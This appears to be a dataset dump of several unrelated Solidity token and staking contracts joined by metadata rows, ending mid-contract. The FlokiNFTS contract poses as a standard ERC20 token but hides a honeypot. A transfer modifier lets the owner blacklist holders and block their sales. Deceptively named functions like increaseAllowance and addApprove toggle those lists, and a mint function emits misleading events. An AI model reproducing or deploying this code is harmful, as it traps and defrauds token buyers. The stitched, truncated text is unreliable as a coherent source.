_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BTNY is ERC20, Ownable {
string public constant name = "Bitenny";
string public constant symbol = "BTNY";
uint32 public constant decimals = 18;
address public saleContract;
bool public saleContractActivated;
uint256 internal _startTime;
uint256 internal _foundation = uint256(9e7).mul(1 ether);
uint256 internal _bounty = uint256(1e7).mul(1 ether);
uint256 internal _tokensForSale = uint256(7e8).mul(1 ether);
uint256 internal _tokensForTeamAndAdvisors = uint256(2e8).mul(1 ether);
mapping(address => uint256) public team;
mapping(address => uint256) public teamReleased;
mapping(address => uint256) public advisors;
mapping(address => uint256) public advisorsReleased;
event SaleContractActivation(address saleContract, uint256 _tokensForSale);
event VestedToTeam(address who, uint256 amount);
event VestedToAdvisors(address who, uint256 amount);
constructor(address _newOwner) public {
_transferOwnership(_newOwner);
_startTime = now;
uint256 tokens = _foundation.add(_bounty);
_foundation = 0;
_bounty = 0;
_mint(_newOwner, tokens);
}
function _teamToRelease(address who) internal view returns(uint256) {
uint256 teamStage = now.sub(_startTime).div(365 days);
if (teamStage > 3) teamStage = 3;
uint256 teamTokens = team[who].mul(teamStage).div(3).sub(teamReleased[who]);
return teamTokens;
}
function _advisorsToRelease(address who) internal view returns(uint256) {
uint256 advisorsStage = now.sub(_startTime).div(91 days);
if (advisorsStage > 4) advisorsStage = 4;
uint256 advisorsTokens = advisors[who].mul(advisorsStage).div(4).sub(advisorsReleased[who]);
return advisorsTokens;
}
function toRelease(address who) public view returns(uint256) {
uint256 teamTokens = _teamToRelease(who);
uint256 advisorsTokens = _advisorsToRelease(who);
return teamTokens.add(advisorsTokens);
}
function release() public {
address who = msg.sender;
uint256 teamTokens = _teamToRelease(who);
uint256 advisorsTokens = _advisorsToRelease(who);
uint256 tokens = teamTokens.add(advisorsTokens);
require(tokens > 0);
if (teamTokens > 0)
teamReleased[who] = teamReleased[who].add(teamTokens);
if (advisorsTokens > 0)
advisorsReleased[who] = advisorsReleased[who].add(advisorsTokens);
_mint(who, tokens);
}
function vestToTeam (address who, uint256 amount) public onlyOwner {
require(who != address(0));
_tokensForTeamAndAdvisors = _tokensForTeamAndAdvisors.sub(amount);
team[who] = team[who].add(amount);
emit VestedToTeam(who, amount);
}
function vestToAdvisors (address who, uint256 amount) public onlyOwner {
require(who != address(0));
_tokensForTeamAndAdvisors = _tokensForTeamAndAdvisors.sub(amount);
advisors[who] = advisors[who].add(amount);
emit VestedToAdvisors(who, amount);
}
function activateSaleContract(address saleContractAddress) public onlyOwner {
require(saleContractAddress != address(0));
require(!saleContractActivated);
saleContract = saleContractAddress;
saleContractActivated = true;
_mint(saleContract, _tokensForSale);
_tokensForSale = 0;
emit SaleContractActivation(saleContract, _tokensForSale);
}
function burnTokensForSale(uint256 amount) public returns (bool) {
require(saleContract != address(0));
require(msg.sender == saleContract);
_burn(saleContract, amount);
return true;
}
}
| 134,244 | 348 |
9d2a0bd458227b1d5b459d30c4ecc0ef8a1ed11fa3350997220ceacddf6f95ff
| 29,712 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x577F0Bb0D0b5d2b035C4a320827E919475B7115e/contract.sol
| 3,403 | 12,648 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FlokiNFTS is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
}
| 255,827 | 349 |
998ba5b27512bac185d81c91c3dd6867adafbd4a6f8dc8ef333dee8ae6f5e4c2
| 12,286 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TT/TT2xCFc87YprA7LMZBbYd6MiuDbb8PSGjd_DaoPool.sol
| 3,284 | 11,762 |
//SourceUnit: DaoPool.sol
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,address recipient,uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
constructor() internal {
_owner = msg.sender;
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, 'Ownable: caller is not the owner');
_;
}
function transferOwnership(address newOwner) public onlyOwner {
_owner = newOwner;
}
}
contract DaoPool is Ownable {
using SafeMath for uint256;
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
uint256 downlineAmount;
uint256 withdrawn;
}
struct User {
uint256 id;
address upline;
}
mapping(address => User) public users;
address private immutable firstAddress;
mapping(uint256 => address) public id2Address;
uint256 public nextUserId = 2;
struct PoolInfo {
IERC20 lpToken;
uint256 allocPoint;
uint256 lastRewardBlock;
uint256 accdaoPerShare;
}
IERC20 public dao;
uint256 public daoPerBlock;
uint256 public daoStakeAmount;
PoolInfo[] public poolInfo;
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
uint256 public totalAllocPoint = 0;
uint256 public startBlock;
uint256 public refRate = 0;
uint256 public minDepositRefAmount = 100*10**6;
uint256 public totalLP;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(IERC20 _dao, uint256 _daoPerBlock, uint256 _startBlock, address _first) public {
dao = _dao;
daoPerBlock = _daoPerBlock;
startBlock = _startBlock;
poolInfo.push(PoolInfo({
lpToken: _dao,
allocPoint: 0,
lastRewardBlock: startBlock,
accdaoPerShare: 0
}));
firstAddress = _first;
id2Address[1] = _first;
}
function register(address up) external {
require(isUserExists(up), "up not exist");
require(!isUserExists(msg.sender), "user exist");
uint256 id = nextUserId++;
users[msg.sender].id = id;
users[msg.sender].upline = up;
id2Address[id] = msg.sender;
}
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accdaoPerShare: 0
}));
}
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
function setR(uint256 r) public onlyOwner {
refRate = r;
}
function setRA(uint256 ra) public onlyOwner {
minDepositRefAmount = ra;
}
function setPer(uint256 p) public onlyOwner {
massUpdatePools();
daoPerBlock = p;
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if(_pid == 0) {
lpSupply = daoStakeAmount;
}
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 blockNum = block.number.sub(pool.lastRewardBlock);
uint256 daoReward = blockNum.mul(daoPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
pool.accdaoPerShare = pool.accdaoPerShare.add(daoReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function deposit(uint256 _pid, uint256 _amount) public {
require(isUserExists(msg.sender), "user not exist");
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
_addGen(msg.sender, _pid, _amount);
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accdaoPerShare).div(1e12).sub(user.rewardDebt);
payout(_pid, msg.sender, pending);
}
if (_amount > 0) {
pool.lpToken.transferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
if(_pid == 0) {
daoStakeAmount = daoStakeAmount.add(_amount);
}
totalLP = totalLP.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accdaoPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
function _addGen(address addr, uint256 pid, uint256 amount) private {
address up = users[addr].upline;
for(; up != address(0);) {
userInfo[pid][up].downlineAmount = userInfo[pid][up].downlineAmount.add(amount);
up = users[up].upline;
}
}
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accdaoPerShare).div(1e12).sub(user.rewardDebt);
payout(_pid, msg.sender, pending);
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.transfer(msg.sender, _amount);
if(_pid == 0) {
daoStakeAmount = daoStakeAmount.sub(_amount);
}
_removeGen(msg.sender, _pid, _amount);
totalLP = totalLP.sub(_amount);
}
user.rewardDebt = user.amount.mul(pool.accdaoPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
function _removeGen(address addr, uint256 pid, uint256 amount) private {
address up = users[addr].upline;
for(; up != address(0);) {
userInfo[pid][up].downlineAmount = userInfo[pid][up].downlineAmount.sub(amount);
up = users[up].upline;
}
}
function payout(uint256 _pid, address addr, uint256 pending) private {
if(pending > 0) {
dao.transfer(addr, pending);
userInfo[_pid][addr].withdrawn += pending;
address up = users[addr].upline;
if(up != address(0) && refRate > 0) {
UserInfo memory upInfo = userInfo[_pid][up];
if(upInfo.amount >= minDepositRefAmount){
uint256 reward = pending*refRate/100;
dao.transfer(up, reward);
userInfo[_pid][up].withdrawn += reward;
}
}
}
}
function emergencyWithdraw(uint256 _pid) external {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.transfer(address(msg.sender), user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
function isUserExists(address addr) public view returns (bool) {
return users[addr].id != 0;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function pendingdao(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accdaoPerShare = pool.accdaoPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if(_pid == 0) {
lpSupply = daoStakeAmount;
}
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 blockNum = block.number.sub(pool.lastRewardBlock);
uint256 daoReward = blockNum.mul(daoPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accdaoPerShare = accdaoPerShare.add(daoReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accdaoPerShare).div(1e12).sub(user.rewardDebt);
}
function userInfoById(uint256 userid, uint256 pid) external view returns (address, address, uint256, uint256, uint256) {
address addr = id2Address[userid];
return userInfoByAddr(addr, pid);
}
function userInfoByAddr(address addr, uint256 pid) public view returns (address, address, uint256, uint256, uint256) {
UserInfo storage o = userInfo[pid][addr];
return (addr, users[addr].upline, o.amount, o.downlineAmount, o.withdrawn);
}
}
| 287,192 | 350 |
7faf5a6b4bb3118fd511859d8c213c707c15b6d98da225cc53f921db2adbdce2
| 17,775 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs_wild/cfg/raw_source_code/0x6e09b7d6c08bbc5327892013c07b44169e8a9a7c.sol
| 3,055 | 11,818 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MintableAndPausableToken is PausableToken {
uint8 public constant decimals = 18;
uint256 public maxTokenSupply = 2000000000 * 10 ** uint256(decimals);
bool public mintingFinished = false;
event Mint(address indexed to, uint256 amount);
event MintFinished();
event MintStarted();
modifier canMint() {
require(!mintingFinished);
_;
}
modifier checkMaxSupply(uint256 _amount) {
require(maxTokenSupply >= totalSupply_.add(_amount));
_;
}
modifier cannotMint() {
require(mintingFinished);
_;
}
function mint(address _to, uint256 _amount)
external
onlyOwner
canMint
checkMaxSupply (_amount)
whenNotPaused
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() external onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function startMinting() external onlyOwner cannotMint returns (bool) {
mintingFinished = false;
emit MintStarted();
return true;
}
}
contract TokenUpgrader {
uint public originalSupply;
function isTokenUpgrader() external pure returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public {}
}
contract UpgradeableToken is MintableAndPausableToken {
// Contract or person who can set the upgrade path.
address public upgradeMaster;
// Bollean value needs to be true to start upgrades
bool private upgradesAllowed;
// The next contract where the tokens will be migrated.
TokenUpgrader public tokenUpgrader;
// How many tokens we have upgraded by now.
uint public totalUpgraded;
enum UpgradeState { NotAllowed, Waiting, ReadyToUpgrade, Upgrading }
// Somebody has upgraded some of his tokens.
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
// New token version available.
event TokenUpgraderIsSet(address _newToken);
modifier onlyUpgradeMaster {
// Only a master can designate the next token
require(msg.sender == upgradeMaster);
_;
}
modifier notInUpgradingState {
// Upgrade has already begun for token
require(getUpgradeState() != UpgradeState.Upgrading);
_;
}
// Do not allow construction without upgrade master set.
constructor(address _upgradeMaster) public {
upgradeMaster = _upgradeMaster;
}
// set a token upgrader
function setTokenUpgrader(address _newToken)
external
onlyUpgradeMaster
notInUpgradingState
{
require(canUpgrade());
require(_newToken != address(0));
tokenUpgrader = TokenUpgrader(_newToken);
// Handle bad interface
require(tokenUpgrader.isTokenUpgrader());
// Make sure that token supplies match in source and target
require(tokenUpgrader.originalSupply() == totalSupply_);
emit TokenUpgraderIsSet(tokenUpgrader);
}
// Allow the token holder to upgrade some of their tokens to a new contract.
function upgrade(uint _value) external {
UpgradeState state = getUpgradeState();
// Check upgrate state
require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading);
// Validate input value
require(_value != 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
// Take tokens out from circulation
totalSupply_ = totalSupply_.sub(_value);
totalUpgraded = totalUpgraded.add(_value);
// Token Upgrader reissues the tokens
tokenUpgrader.upgradeFrom(msg.sender, _value);
emit Upgrade(msg.sender, tokenUpgrader, _value);
}
function setUpgradeMaster(address _newMaster) external onlyUpgradeMaster {
require(_newMaster != address(0));
upgradeMaster = _newMaster;
}
// To be overriden to add functionality
function allowUpgrades() external onlyUpgradeMaster () {
upgradesAllowed = true;
}
// To be overriden to add functionality
function rejectUpgrades() external onlyUpgradeMaster () {
require(!(totalUpgraded > 0));
upgradesAllowed = false;
}
// Get the state of the token upgrade.
function getUpgradeState() public view returns(UpgradeState) {
if (!canUpgrade()) return UpgradeState.NotAllowed;
else if (address(tokenUpgrader) == address(0)) return UpgradeState.Waiting;
else if (totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
// To be overriden to add functionality
function canUpgrade() public view returns(bool) {
return upgradesAllowed;
}
}
contract Token is UpgradeableToken, BurnableToken {
string public name = "KEYOTO";
string public symbol = "KEYO";
// For patient incentive programs
uint256 public INITIAL_SUPPLY;
event UpdatedTokenInformation(string newName, string newSymbol);
